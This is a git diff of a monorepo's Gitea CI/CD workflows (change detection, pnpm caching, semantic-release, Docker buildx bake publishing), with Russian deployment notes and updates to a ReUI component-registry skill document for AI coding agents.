git.shx.one/<owner>/evofw:latest
git.shx.one/<owner>/evofw:v1.2.3
git.shx.one/<owner>/evofw:1.2.3
git.shx.one/<owner>/evofw:<short-sha>
git.shx.one/<owner>/evofw:sha-<full-sha>
```
Тот же манифест публикуется как `evofirewall` (drop-in для старого compose).
Кэш сборки: `evofw-buildcache:node-buildcache` и `evofw-buildcache:base-*`.
Пример:
```bash
docker pull git.shx.one/denozord/evofw:1.2.3
```
См. [deploy/docker/README.md](../deploy/docker/README.md).
## act_runner: cache server
`actions/cache` ходит в **встроенный cache server** runner (не GitHub `type=gha`). Кэш локален для этого runner.
В `config.yaml` runner:
```yaml
cache:
enabled: true
dir: "" # по умолчанию $HOME/.cache/actcache
host: "" # IP, доступный из job-контейнера (не 0.0.0.0)
port: 8088
```
Если runner в Docker, а jobs — отдельные контейнеры: пробросьте порт и задайте `host` (LAN IP хоста) или `external_server: "http://<host>:8088/"`. Иначе restore — timeout/ECONNREFUSED и пакеты качаются снова.
Не делайте `docker system prune -a` по cron: сотрётся и Docker-кэш FROM, и пользы от `cleanup: false` у buildx не будет.
+149
View File
@@ -0,0 +1,149 @@
name: CD
on:
push:
branches: [main, master]
permissions:
contents: read
jobs:
quality:
uses: ./.gitea/workflows/quality.yaml
with:
is_pull_request: false
before_sha: ${{ github.event.before }}
head_sha: ${{ github.sha }}
allow_registry_login: false
secrets:
ACTIONS_PAT: ${{ secrets.ACTIONS_PAT }}
publish:
needs: [quality]
if: >-
always() &&
(github.ref == 'refs/heads/main' || github.ref == 'refs/heads/master') &&
needs.quality.result == 'success'
runs-on: ubuntu-latest
permissions:
contents: write
packages: write
releases: write
steps:
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
with:
fetch-depth: 0
fetch-tags: true
token: ${{ secrets.ACTIONS_PAT || gitea.token }}
persist-credentials: true
- uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0
with:
node-version: "22"
- name: Export cache paths
run: sh scripts/ci/export-cache-env.sh
- id: pnpm-hash
run: echo "key=$(sha256sum pnpm-lock.yaml | awk '{print $1}')" >> "$GITHUB_OUTPUT"
- id: pnpm-cache
uses: actions/cache@5a3ec84eff668545956fd18022155c47e93e2684 # v4.2.3
with:
path: |
${{ env.PNPM_STORE_DIR }}
${{ env.COREPACK_HOME }}
node_modules
apps/web/node_modules
apps/api/node_modules
packages/ui/node_modules
packages/shared/node_modules
packages/db/node_modules
key: pnpm-${{ runner.os }}-${{ steps.pnpm-hash.outputs.key }}
restore-keys: |
pnpm-${{ runner.os }}-
- name: Install release tooling
env:
PNPM_CACHE_HIT: ${{ steps.pnpm-cache.outputs.cache-hit }}
run: sh scripts/ci/pnpm-ci.sh
- name: Verify releasable commit messages
run: pnpm exec node scripts/commit/verify-release-commits.mjs
- name: Semantic release
run: pnpm exec semantic-release
env:
GITEA_URL: https://git.shx.one
GITEA_TOKEN: ${{ secrets.ACTIONS_PAT || gitea.token }}
- name: Detect new release
id: rel
run: |
set -euo pipefail
version=""
if [ -f .release-version ]; then
version="$(tr -d '[:space:]' < .release-version)"
echo "New release from semantic-release: $version"
else
git fetch --tags --force origin || true
tag="$(git tag --points-at HEAD --list 'v*.*.*' | sort -V | tail -n1 || true)"
if [ -n "${tag:-}" ]; then
version="${tag#v}"
echo "Reuse existing tag $tag on HEAD (release retry)"
fi
fi
if [ -n "${version:-}" ]; then
echo "version=$version" >> "$GITHUB_OUTPUT"
echo "released=true" >> "$GITHUB_OUTPUT"
else
echo "released=false" >> "$GITHUB_OUTPUT"
echo "No releasable commits — skipping image publish"
fi
- name: Set up Docker Buildx
if: steps.rel.outputs.released == 'true'
uses: docker/setup-buildx-action@e468171a9de216ec08956ac3ada2f0791b6bd435 # v3.11.1
with:
name: evofw
driver: docker-container
cleanup: false
- name: Prepare image metadata
if: steps.rel.outputs.released == 'true'
id: meta
run: |
set -euo pipefail
echo "version=${{ steps.rel.outputs.version }}" >> "$GITHUB_OUTPUT"
owner_lc="$(echo '${{ github.repository_owner }}' | tr '[:upper:]' '[:lower:]')"
echo "owner_lc=$owner_lc" >> "$GITHUB_OUTPUT"
short_sha="$(echo '${{ github.sha }}' | cut -c1-7)"
echo "short_sha=$short_sha" >> "$GITHUB_OUTPUT"
echo "build_time=$(date -u +%Y-%m-%dT%H:%M:%SZ)" >> "$GITHUB_OUTPUT"
- name: Log in to Gitea Registry
if: steps.rel.outputs.released == 'true'
uses: docker/login-action@74a5d142397b4f367a81961eba4e8cd7edddf772 # v3.4.0
with:
registry: git.shx.one
username: ${{ gitea.actor }}
password: ${{ secrets.ACTIONS_PAT }}
- name: Mirror base images into buildcache
if: steps.rel.outputs.released == 'true'
env:
REGISTRY: git.shx.one/${{ steps.meta.outputs.owner_lc }}
MIRROR_ENV_FILE: ${{ runner.temp }}/mirror-base.env
run: sh deploy/docker/mirror-base-images.sh
- name: Build and push images (bake)
if: steps.rel.outputs.released == 'true'
env:
REGISTRY: git.shx.one/${{ steps.meta.outputs.owner_lc }}
IMAGE_TAG: latest
VERSION: ${{ steps.meta.outputs.version }}
SHORT_SHA: ${{ steps.meta.outputs.short_sha }}
SHA_FULL: ${{ github.sha }}
BUILD_TIME: ${{ steps.meta.outputs.build_time }}
CACHE_REF_NODE: git.shx.one/${{ steps.meta.outputs.owner_lc }}/evofw-buildcache:node-buildcache
BUILDX_BAKE_ENTITLEMENTS_FS: "0"
BUILDX_BAKE_FILE_RELATIVE_PATHS: "1"
MIRROR_ENV_FILE: ${{ runner.temp }}/mirror-base.env
working-directory: deploy/docker
run: |
set -euxo pipefail
if [ -f "${MIRROR_ENV_FILE}" ]; then
set -a
# shellcheck disable=SC1090
. "${MIRROR_ENV_FILE}"
set +a
fi
docker buildx bake --allow=fs.read="${{ github.workspace }}" \
-f docker-bake.hcl default --push
+23
View File
@@ -0,0 +1,23 @@
name: CI
on:
pull_request:
branches: [main, master]
concurrency:
group: ci-${{ github.workflow }}-${{ github.ref }}
cancel-in-progress: true
permissions:
contents: read
jobs:
quality:
uses: ./.gitea/workflows/quality.yaml
with:
is_pull_request: true
base_sha: ${{ github.event.pull_request.base.sha }}
head_sha: ${{ github.event.pull_request.head.sha }}
allow_registry_login: ${{ github.event.pull_request.head.repo.full_name == github.repository }}
secrets:
ACTIONS_PAT: ${{ secrets.ACTIONS_PAT }}
-100
View File
@@ -1,100 +0,0 @@
name: Build and Push EvoFirewall Docker Image
on:
push:
branches: [main, develop, 'feature/**', 'release/**', 'hotfix/**']
tags: ['v*']
paths: ['**']
pull_request:
branches: [main, develop]
paths: ['**']
jobs:
build-and-push:
if: startsWith(gitea.ref, 'refs/tags/v') || (gitea.ref_name == 'main' && gitea.event_name == 'push')
runs-on: ubuntu-latest
steps:
- name: Checkout repository
uses: actions/checkout@v4
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v3
- name: Login to Gitea Registry
uses: docker/login-action@v3
with:
registry: git.shts.su
username: ${{ gitea.actor }}
password: ${{ secrets.ACTIONS_PAT }}
- name: Create version file
run: |
VERSION=$(cat VERSION)
BUILD_DATE=$(date -u +'%Y-%m-%dT%H:%M:%SZ')
BRANCH="${{ gitea.ref_name }}"
echo "APP_VERSION=${VERSION}" > ./version.txt
echo "BUILD_DATE=${BUILD_DATE}" >> ./version.txt
echo "GIT_BRANCH=${BRANCH}" >> ./version.txt
echo "GIT_COMMIT=${{ gitea.sha }}" >> ./version.txt
echo "GIT_COMMIT_SHORT=$(echo ${{ gitea.sha }} | cut -c1-7)" >> ./version.txt
echo "BUILD_TIMESTAMP=$(date -u +%s)" >> ./version.txt
# Docker registry refs must be lowercase (repo name is EvoFirewall).
- name: Lowercase image repository
id: image
run: echo "repo=$(echo '${{ gitea.repository }}' | tr '[:upper:]' '[:lower:]')" >> "$GITHUB_OUTPUT"
- name: Docker meta
id: meta
uses: docker/metadata-action@v5
with:
images: git.shts.su/${{ steps.image.outputs.repo }}
tags: |
type=semver,pattern={{version}}
type=raw,value=latest,enable=${{ gitea.ref_name == 'main' }}
type=sha,prefix={{date 'YYYYMMDD'}}-,enable=${{ gitea.ref_name == 'main' }}
- name: Build and push Docker image
uses: docker/build-push-action@v5
with:
context: .
file: ./Dockerfile
push: true
tags: ${{ steps.meta.outputs.tags }}
labels: ${{ steps.meta.outputs.labels }}
build-args: |
NODE_VERSION=22.23.0-bookworm-slim
cache-from: type=registry,ref=git.shts.su/${{ steps.image.outputs.repo }}:buildcache
cache-to: type=registry,ref=git.shts.su/${{ steps.image.outputs.repo }}:buildcache,mode=max
provenance: true
create-release:
needs: build-and-push
if: startsWith(gitea.ref, 'refs/tags/v')
runs-on: ubuntu-latest
steps:
- name: Checkout repository
uses: actions/checkout@v4
with:
fetch-depth: 0
- name: Generate changelog
id: changelog
run: |
LAST_TAG=$(git describe --tags --abbrev=0 HEAD^ 2>/dev/null || echo "")
if [[ -n "$LAST_TAG" ]]; then
CHANGELOG=$(git log --pretty=format:"- %s (%h)" ${LAST_TAG}..HEAD)
else
CHANGELOG=$(git log --pretty=format:"- %s (%h)" -n 20)
fi
echo "CHANGELOG<<EOF" >> $GITHUB_OUTPUT
echo "$CHANGELOG" >> $GITHUB_OUTPUT
echo "EOF" >> $GITHUB_OUTPUT
- name: Create Gitea Release
run: |
curl -X POST \
-H "Authorization: token ${{ secrets.GITEA_TOKEN }}" \
-H "Content-Type: application/json" \
"https://git.shts.su/api/v1/repos/${{ gitea.repository }}/releases" \
-d "{\"tag_name\":\"${{ gitea.ref_name }}\",\"name\":\"${{ gitea.ref_name }}\",\"body\":$(echo '${{ steps.changelog.outputs.CHANGELOG }}' | jq -Rs .)}"
+348
View File
@@ -0,0 +1,348 @@
# Quality gates (reusable). Callers: ci.yaml (PR), cd.yaml (push main).
name: quality
on:
workflow_call:
inputs:
is_pull_request:
type: boolean
required: true
base_sha:
type: string
required: false
default: ""
head_sha:
type: string
required: false
default: ""
before_sha:
type: string
required: false
default: ""
allow_registry_login:
type: boolean
required: false
default: false
secrets:
ACTIONS_PAT:
required: false
permissions:
contents: read
jobs:
changes:
runs-on: ubuntu-latest
outputs:
openapi: ${{ steps.detect.outputs.openapi }}
web: ${{ steps.detect.outputs.web }}
api: ${{ steps.detect.outputs.api }}
docker: ${{ steps.detect.outputs.docker }}
steps:
- if: ${{ inputs.is_pull_request }}
uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
with:
fetch-depth: 0
- if: ${{ inputs.is_pull_request == false }}
uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
with:
# Full history: before_sha may be many commits behind the new tip
# (multi-commit pushes) and must exist locally for git diff.
fetch-depth: 0
- id: detect
name: Detect changed paths per module
env:
IS_PR: ${{ inputs.is_pull_request }}
BASE_SHA: ${{ inputs.base_sha }}
HEAD_SHA: ${{ inputs.head_sha }}
BEFORE_SHA: ${{ inputs.before_sha }}
run: |
set -euo pipefail
openapi=false
web=false
api=false
docker=false
set_all_flags_true() {
openapi=true
web=true
api=true
docker=true
}
write_outputs() {
for v in openapi web api docker; do
eval "echo \"\$v=\$$v\"" >> "$GITHUB_OUTPUT"
done
}
if [ "$IS_PR" = "true" ]; then
FILES="$(git diff --name-only "$BASE_SHA" "$HEAD_SHA")"
else
after="${HEAD_SHA:-$(git rev-parse HEAD)}"
before="$BEFORE_SHA"
# Guard: a stale/unresolvable before_sha must not fail the pipeline.
if [ -n "$before" ] && [ "$before" != "0000000000000000000000000000000000000000" ]; then
if ! git cat-file -e "$before^{commit}" 2>/dev/null; then
echo "::warning::before_sha $before not resolvable, falling back to HEAD~1"
before=""
fi
fi
if [ -n "$before" ]; then
FILES="$(git diff --name-only "$before" "$after")"
elif git rev-parse --verify HEAD~1 >/dev/null 2>&1; then
FILES="$(git diff --name-only HEAD~1 HEAD)"
else
set_all_flags_true
write_outputs
echo "No parent commit — full pipeline (all modules)"
exit 0
fi
fi
if [ -z "$(printf '%s' "$FILES" | tr -d '[:space:]')" ]; then
set_all_flags_true
write_outputs
echo "Empty diff — full pipeline fallback"
exit 0
fi
full_pipeline=false
while IFS= read -r f || [ -n "${f:-}" ]; do
[ -z "${f:-}" ] && continue
case "$f" in
.gitea/workflows/*|scripts/*)
full_pipeline=true
;;
docs/openapi.yaml|redocly.yaml)
openapi=true
;;
.cursor/*|.claude/*|.codegraph/*|.agents/*)
;;
*.md|AGENTS.md)
;;
apps/web/README.md|apps/web/components.json|packages/ui/components.json)
;;
apps/web/*|packages/ui/*)
web=true
;;
apps/api/*|packages/db/*)
api=true
;;
packages/shared/*)
web=true
api=true
;;
deploy/compose/*|deploy/docker/*|.dockerignore)
docker=true
;;
docs/*)
;;
package.json|pnpm-lock.yaml|pnpm-workspace.yaml|turbo.json|.releaserc.json|commitlint.config.cjs)
full_pipeline=true
;;
*)
;;
esac
done <<< "$FILES"
if $full_pipeline; then
set_all_flags_true
fi
write_outputs
echo "Changed files (first 30):"
printf '%s\n' "$FILES" | head -n 30
echo "--- flags ---"
echo "openapi=$openapi web=$web api=$api docker=$docker full_pipeline=$full_pipeline"
openapi:
needs: [changes]
if: needs.changes.outputs.openapi == 'true' || needs.changes.outputs.web == 'true'
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
- uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0
with:
node-version: "22"
- name: Export cache paths
run: sh scripts/ci/export-cache-env.sh
- id: pnpm-hash
run: echo "key=$(sha256sum pnpm-lock.yaml | awk '{print $1}')" >> "$GITHUB_OUTPUT"
- id: pnpm-cache
uses: actions/cache@5a3ec84eff668545956fd18022155c47e93e2684 # v4.2.3
with:
path: |
${{ env.PNPM_STORE_DIR }}
${{ env.COREPACK_HOME }}
node_modules
apps/web/node_modules
apps/api/node_modules
packages/ui/node_modules
packages/shared/node_modules
packages/db/node_modules
key: pnpm-${{ runner.os }}-${{ steps.pnpm-hash.outputs.key }}
restore-keys: |
pnpm-${{ runner.os }}-
- name: pnpm install, Redocly
env:
PNPM_CACHE_HIT: ${{ steps.pnpm-cache.outputs.cache-hit }}
run: |
set -euxo pipefail
sh scripts/ci/pnpm-ci.sh
pnpm exec redocly lint docs/openapi.yaml
web:
needs: [changes]
if: needs.changes.outputs.web == 'true'
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
- uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0
with:
node-version: "22"
- name: Export cache paths
run: sh scripts/ci/export-cache-env.sh
- id: pnpm-hash
run: echo "key=$(sha256sum pnpm-lock.yaml | awk '{print $1}')" >> "$GITHUB_OUTPUT"
- id: pnpm-cache
uses: actions/cache@5a3ec84eff668545956fd18022155c47e93e2684 # v4.2.3
with:
path: |
${{ env.PNPM_STORE_DIR }}
${{ env.COREPACK_HOME }}
node_modules
apps/web/node_modules
apps/api/node_modules
packages/ui/node_modules
packages/shared/node_modules
packages/db/node_modules
key: pnpm-${{ runner.os }}-${{ steps.pnpm-hash.outputs.key }}
restore-keys: |
pnpm-${{ runner.os }}-
- name: pnpm install, typecheck, build
env:
PNPM_CACHE_HIT: ${{ steps.pnpm-cache.outputs.cache-hit }}
run: |
set -euxo pipefail
sh scripts/ci/pnpm-ci.sh
pnpm --filter @evofw/web run typecheck
pnpm --filter @evofw/web run test
pnpm --filter @evofw/web run build
api:
needs: [changes]
if: needs.changes.outputs.api == 'true'
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
- uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0
with:
node-version: "22"
- name: Export cache paths
run: sh scripts/ci/export-cache-env.sh
- id: pnpm-hash
run: echo "key=$(sha256sum pnpm-lock.yaml | awk '{print $1}')" >> "$GITHUB_OUTPUT"
- id: pnpm-cache
uses: actions/cache@5a3ec84eff668545956fd18022155c47e93e2684 # v4.2.3
with:
path: |
${{ env.PNPM_STORE_DIR }}
${{ env.COREPACK_HOME }}
node_modules
apps/web/node_modules
apps/api/node_modules
packages/ui/node_modules
packages/shared/node_modules
packages/db/node_modules
key: pnpm-${{ runner.os }}-${{ steps.pnpm-hash.outputs.key }}
restore-keys: |
pnpm-${{ runner.os }}-
- name: pnpm install, typecheck, test, build
env:
PNPM_CACHE_HIT: ${{ steps.pnpm-cache.outputs.cache-hit }}
run: |
set -euxo pipefail
sh scripts/ci/pnpm-ci.sh
# turbo builds @evofw/{shared,db} first — api typecheck resolves their dist types
pnpm exec turbo run typecheck --filter=@evofw/api --filter=@evofw/db --filter=@evofw/shared
pnpm exec turbo run test --filter=@evofw/api --filter=@evofw/shared
pnpm exec turbo run build --filter=@evofw/api
commitlint:
if: inputs.is_pull_request
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
with:
fetch-depth: 0
- uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0
with:
node-version: "22"
- name: Export cache paths
run: sh scripts/ci/export-cache-env.sh
- id: pnpm-hash
run: echo "key=$(sha256sum pnpm-lock.yaml | awk '{print $1}')" >> "$GITHUB_OUTPUT"
- id: pnpm-cache
uses: actions/cache@5a3ec84eff668545956fd18022155c47e93e2684 # v4.2.3
with:
path: |
${{ env.PNPM_STORE_DIR }}
${{ env.COREPACK_HOME }}
node_modules
apps/web/node_modules
apps/api/node_modules
packages/ui/node_modules
packages/shared/node_modules
packages/db/node_modules
key: pnpm-${{ runner.os }}-${{ steps.pnpm-hash.outputs.key }}
restore-keys: |
pnpm-${{ runner.os }}-
- name: Lint commit messages
env:
BASE_SHA: ${{ inputs.base_sha }}
HEAD_SHA: ${{ inputs.head_sha }}
PNPM_CACHE_HIT: ${{ steps.pnpm-cache.outputs.cache-hit }}
run: |
set -euxo pipefail
sh scripts/ci/pnpm-ci.sh
pnpm exec commitlint --from "$BASE_SHA" --to "$HEAD_SHA"
docker-check:
needs: [changes]
if: inputs.is_pull_request && needs.changes.outputs.docker == 'true'
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
- uses: docker/setup-buildx-action@e468171a9de216ec08956ac3ada2f0791b6bd435 # v3.11.1
with:
name: evofw
driver: docker-container
cleanup: false
- name: Log in to Gitea Registry
if: inputs.allow_registry_login
uses: docker/login-action@74a5d142397b4f367a81961eba4e8cd7edddf772 # v3.4.0
with:
registry: git.shx.one
username: ${{ gitea.actor }}
password: ${{ secrets.ACTIONS_PAT }}
- name: bake --print
working-directory: deploy/docker
env:
BUILDX_BAKE_ENTITLEMENTS_FS: "0"
BUILDX_BAKE_FILE_RELATIVE_PATHS: "1"
run: docker buildx bake --allow=fs.read="${{ github.workspace }}" -f docker-bake.hcl --print default
- name: bake (no push)
if: inputs.allow_registry_login
working-directory: deploy/docker
env:
BUILDX_BAKE_ENTITLEMENTS_FS: "0"
BUILDX_BAKE_FILE_RELATIVE_PATHS: "1"
run: |
set -euxo pipefail
owner_lc="$(echo '${{ github.repository_owner }}' | tr '[:upper:]' '[:lower:]')"
export CACHE_REF_NODE="git.shx.one/${owner_lc}/evofw-buildcache:node-buildcache"
docker buildx bake --allow=fs.read="${{ github.workspace }}" -f docker-bake.hcl default
+3
View File
@@ -31,6 +31,9 @@ Thumbs.db
# Build # Build
version.txt version.txt
.release-version
CHANGELOG.md
deploy/docker/docker-bake.override.hcl
*.tsbuildinfo *.tsbuildinfo
# Local MCP configs (may contain REUI license Bearer) # Local MCP configs (may contain REUI license Bearer)
.cursor/mcp.json .cursor/mcp.json
+1
View File
@@ -0,0 +1 @@
22
+4 -4
View File
@@ -1,17 +1,17 @@
--- ---
name: reui name: reui
description: Use the ReUI registry from your AI agent - find, install, and correctly use ReUI components (the 17 free building blocks like data-grid, kanban, filters), their free examples, premium blocks, and Motion Icons. Applies in any project using ReUI, the @reui registry, REUI_LICENSE_KEY, or any shadcn project where the user asks for premium blocks, data grids, kanban boards, dashboards, or full pages. Pairs with the free ReUI MCP server for live, scored registry search and inline component APIs. description: Use the ReUI registry from your AI agent - find, install, and correctly use ReUI components (the 20 free building blocks like data-grid, kanban, filters), their free examples, premium blocks, and Motion Icons. Applies in any project using ReUI, the @reui registry, REUI_LICENSE_KEY, or any shadcn project where the user asks for premium blocks, data grids, kanban boards, dashboards, or full pages. Pairs with the free ReUI MCP server for live, scored registry search and inline component APIs.
user-invocable: false user-invocable: false
allowed-tools: Bash(npx shadcn@latest *), Bash(pnpm dlx shadcn@latest *), Bash(bunx --bun shadcn@latest *) allowed-tools: Bash(npx shadcn@latest *), Bash(pnpm dlx shadcn@latest *), Bash(bunx --bun shadcn@latest *)
--- ---
> **ReUI skill version `42d70dcc3d`.** If the ReUI MCP's `get_agent_skill` reports a newer `version`, re-run the ReUI installer (see `get_agent_skill` -> `install.recommended`) to update this skill. Cloud/tools-only agents have no local file and always read the latest - they can ignore this. > **ReUI skill version `3bdbad788a`.** If the ReUI MCP's `get_agent_skill` reports a newer `version`, re-run the ReUI installer (see `get_agent_skill` -> `install.recommended`) to update this skill. Cloud/tools-only agents have no local file and always read the latest - they can ignore this.
# ReUI for Agents # ReUI for Agents
ReUI is a shadcn-compatible registry. It ships four things you **reuse** - never redesign: ReUI is a shadcn-compatible registry. It ships four things you **reuse** - never redesign:
- **components** - the 17 ReUI building blocks with real APIs: `data-grid`, `kanban`, `filters`, `date-selector`, `tree`, `stepper`, ... (free) - **components** - the 20 ReUI building blocks with real APIs: `data-grid`, `kanban`, `filters`, `date-selector`, `tree`, `stepper`, ... (free)
- **examples** - free `c-*` single-pattern use-cases of a component (`c-kanban-1`); install one and read it to see exact composition - **examples** - free `c-*` single-pattern use-cases of a component (`c-kanban-1`); install one and read it to see exact composition
- **blocks** - premium full-page sections that compose components (`data-grid-2`, `pricing-page-1`); Pro or Ultimate license at install - **blocks** - premium full-page sections that compose components (`data-grid-2`, `pricing-page-1`); Pro or Ultimate license at install
- **icons** - Motion Icons in 4 styles, static + hover-animated variants; Ultimate license at install - **icons** - Motion Icons in 4 styles, static + hover-animated variants; Ultimate license at install
@@ -58,7 +58,7 @@ Invocation differs slightly per agent (`/mcp__reui__build` in Claude Code/Cursor
- [rules/registry.md](./rules/registry.md) - the four types, the @reui registry, base/radix, free vs premium + license - [rules/registry.md](./rules/registry.md) - the four types, the @reui registry, base/radix, free vs premium + license
- [rules/workflow.md](./rules/workflow.md) - the find -> install -> read-API -> adapt loop (most important) - [rules/workflow.md](./rules/workflow.md) - the find -> install -> read-API -> adapt loop (most important)
- [rules/components.md](./rules/components.md) - the 17 components, the data-grid contract, base vs radix - [rules/components.md](./rules/components.md) - the 20 components, the data-grid contract, base vs radix
- [rules/adapting.md](./rules/adapting.md) - reuse-first: preserve the design (no over-customizing), reuse examples + a block's own elements, real data, don't invent APIs - [rules/adapting.md](./rules/adapting.md) - reuse-first: preserve the design (no over-customizing), reuse examples + a block's own elements, real data, don't invent APIs
- [rules/craft.md](./rules/craft.md) - make it exceptional: point of view, hierarchy, density, states, responsive, motion, the bar - [rules/craft.md](./rules/craft.md) - make it exceptional: point of view, hierarchy, density, states, responsive, motion, the bar
- [rules/quality.md](./rules/quality.md) - security, accessibility, and scroll gates (the done gate) - [rules/quality.md](./rules/quality.md) - security, accessibility, and scroll gates (the done gate)
+2 -2
View File
@@ -2,7 +2,7 @@
## Registry setup (one-time, per project) ## Registry setup (one-time, per project)
Free items (the 17 components and all `c-*` examples) need only the plain string registry in `components.json`: Free items (the 20 components and all `c-*` examples) need only the plain string registry in `components.json`:
```json ```json
{ "registries": { "@reui": "https://reui.io/r/{style}/{name}.json" } } { "registries": { "@reui": "https://reui.io/r/{style}/{name}.json" } }
@@ -54,7 +54,7 @@ bunx --bun shadcn@latest add @reui/<name> --yes # bun
## Free vs premium boundary ## Free vs premium boundary
- Public, no key: `c-*` examples and the 17 components (`@reui/data-grid`, `@reui/badge`, ...) that those examples depend on. - Public, no key: `c-*` examples and the 20 components (`@reui/data-grid`, `@reui/badge`, ...) that those examples depend on.
- Key required at install: blocks (`@reui/<category>-N`) need a Pro or Ultimate license; Motion Icons (`@reui/icons/...`) and templates need Ultimate. - Key required at install: blocks (`@reui/<category>-N`) need a Pro or Ultimate license; Motion Icons (`@reui/icons/...`) and templates need Ultimate.
If an install 401/403s, the license key is missing, invalid, or the plan does not cover that resource (blocks: Pro or higher; icons and templates: Ultimate). Point the user to https://reui.io/account (their key) or https://reui.io/pricing (upgrade). If an install 401/403s, the license key is missing, invalid, or the plan does not cover that resource (blocks: Pro or higher; icons and templates: Ultimate). Point the user to https://reui.io/account (their key) or https://reui.io/pricing (upgrade).
+67 -17
View File
@@ -1,24 +1,23 @@
# ReUI components # ReUI components
The 19 ReUI building blocks: `alert`, `autocomplete`, `badge`, `data-grid`, `date-selector`, `event-calendar`, `filters`, `frame`, `gantt`, `icon-stack`, `kanban`, `number-field`, `phone-input`, `rating`, `scrollspy`, `sortable`, `stepper`, `timeline`, `tree`. Examples and blocks are composed from these. The 21 ReUI building blocks: `alert`, `autocomplete`, `badge`, `cascader`, `data-grid`, `date-selector`, `event-calendar`, `filters`, `frame`, `gantt`, `icon-stack`, `icon-tile`, `kanban`, `number-field`, `phone-input`, `rating`, `scrollspy`, `sortable`, `stepper`, `timeline`, `tree`. Examples and blocks are composed from these.
**Rule one: never guess a component's API. Read it first.** Call **`get_component(name)`** for its inline `api` (props + usage, no web fetch), and **share the result's `docsUrl`** (the component's API documentation page) with the user whenever you work with that component's API, so they have the full reference (the `/llms.txt` index is a further fallback). Then call **`get_examples(name)`** to install a worked example and copy real composition. The contracts below are first-try orientation (required props, composition shape, the one gotcha); the inline `api` is the full reference. No single block fits? Compose: search the components you need, read each `get_component`, install a `get_examples` example per component, and adapt. **Rule one: never guess a component's API. Read it first.** Call **`get_component(name)`** for its inline `api` (props + usage, no web fetch), and **share the result's `docsUrl`** (the component's API documentation page) with the user whenever you work with that component's API, so they have the full reference (the `/llms.txt` index is a further fallback). Then call **`get_examples(name)`** to install a worked example and copy real composition. The contracts below are first-try orientation (required props, composition shape, the one gotcha); the inline `api` is the full reference. No single block fits? Compose: search the components you need, read each `get_component`, install a `get_examples` example per component, and adapt.
## data-grid (the flagship - read its API every time) ## data-grid (the flagship - read its API every time)
`data-grid` wraps TanStack Table v8. It is NOT a styled `<table>` and does NOT take `data`/`columns` props directly. The contract: `data-grid` wraps TanStack Table v9. It is NOT a styled `<table>` and does NOT take `data`/`columns` props directly. The contract:
- Build a TanStack table instance with `useReactTable(...)` (columns, data, the feature models you need: sorting, pagination, row selection). - Build a TanStack table instance with `useTable({ features: dataGridFeatures, ... })` (columns, data). `dataGridFeatures` is exported by the primitive and already bundles sorting, filtering, pagination, row selection, expanding, pinning, resizing and faceting, so there are no per-table row models to wire.
- Pass that instance to `<DataGrid table={table} recordCount={total}>`. - Pass that instance to `<DataGrid table={table} recordCount={total}>`.
- Compose the body with `DataGridTable` inside `DataGrid`, and enable features through `tableLayout` (e.g. `{ headerSticky: true, columnsResizable: true }`), not ad-hoc classes. - Compose the body with `DataGridTable` inside `DataGrid`, and enable features through `tableLayout` (e.g. `{ headerSticky: true, columnsResizable: true }`), not ad-hoc classes.
- Server-side data uses the documented fetch shape (`recordCount` is the total for pagination). - Server-side data uses the documented fetch shape (`recordCount` is the total for pagination).
```tsx ```tsx
const table = useReactTable({ const table = useTable({
features: dataGridFeatures,
data, data,
columns, columns,
getCoreRowModel: getCoreRowModel(),
// add sorting/pagination/selection models per the API
}) })
<DataGrid table={table} recordCount={data.length}> <DataGrid table={table} recordCount={data.length}>
@@ -28,9 +27,9 @@ const table = useReactTable({
Common mistakes: Common mistakes:
- **Incorrect:** `<DataGrid data={rows} columns={cols} />` - these props do not exist. **Correct:** build a `useReactTable` instance and pass `table={table}` + `recordCount`. - **Incorrect:** `<DataGrid data={rows} columns={cols} />` - these props do not exist. **Correct:** build a `useTable({ features: dataGridFeatures, ... })` instance and pass `table={table}` + `recordCount`.
- **Incorrect:** a raw `<table>` / hand-rolled pagination. **Correct:** use `data-grid`; read its API for sticky header, pagination, virtualization, row selection. - **Incorrect:** a raw `<table>` / hand-rolled pagination. **Correct:** use `data-grid`; read its API for sticky header, pagination, virtualization, row selection.
- **Incorrect:** styling rows/cells with arbitrary classes. **Correct:** drive layout via `tableLayout` and the documented `ColumnMeta` (e.g. `cellClassName`, `headerTitle`). - **Incorrect:** styling rows/cells with arbitrary classes. **Correct:** drive layout via `tableLayout` and the primitive's `DataGridColumnMeta` (e.g. `cellClassName`, `headerTitle`), set through the bundle's `columnMeta` slot.
## event-calendar ## event-calendar
@@ -107,22 +106,60 @@ Common mistakes:
## filters ## filters
**Required:** `filters` (`Filter[]`), `fields` (`FilterFieldConfig[]`), `onChange` **Required:** `fields` (`FilterField[]`). The value is ONE `FilterQuery` tree - `query` + `onQueryChange`, or uncontrolled `defaultQuery`.
**Shape:** **Shape:**
```tsx ```tsx
const [filters, setFilters] = useState<Filter[]>([ const fields: FilterField[] = [
createFilter("priority", "is_any_of", ["low"]), { id: "title", label: "Title", type: "text" },
]) {
const fields: FilterFieldConfig[] = [ id: "status",
{ key: "priority", label: "Priority", type: "multiselect", label: "Status",
options: [{ value: "low", label: "Low" }, { value: "high", label: "High" }] }, type: "select",
options: [
{ value: "active", label: "Active" },
{ value: "archived", label: "Archived" },
],
},
] ]
const [query, setQuery] = useState<FilterQuery>(() => createFilterQuery())
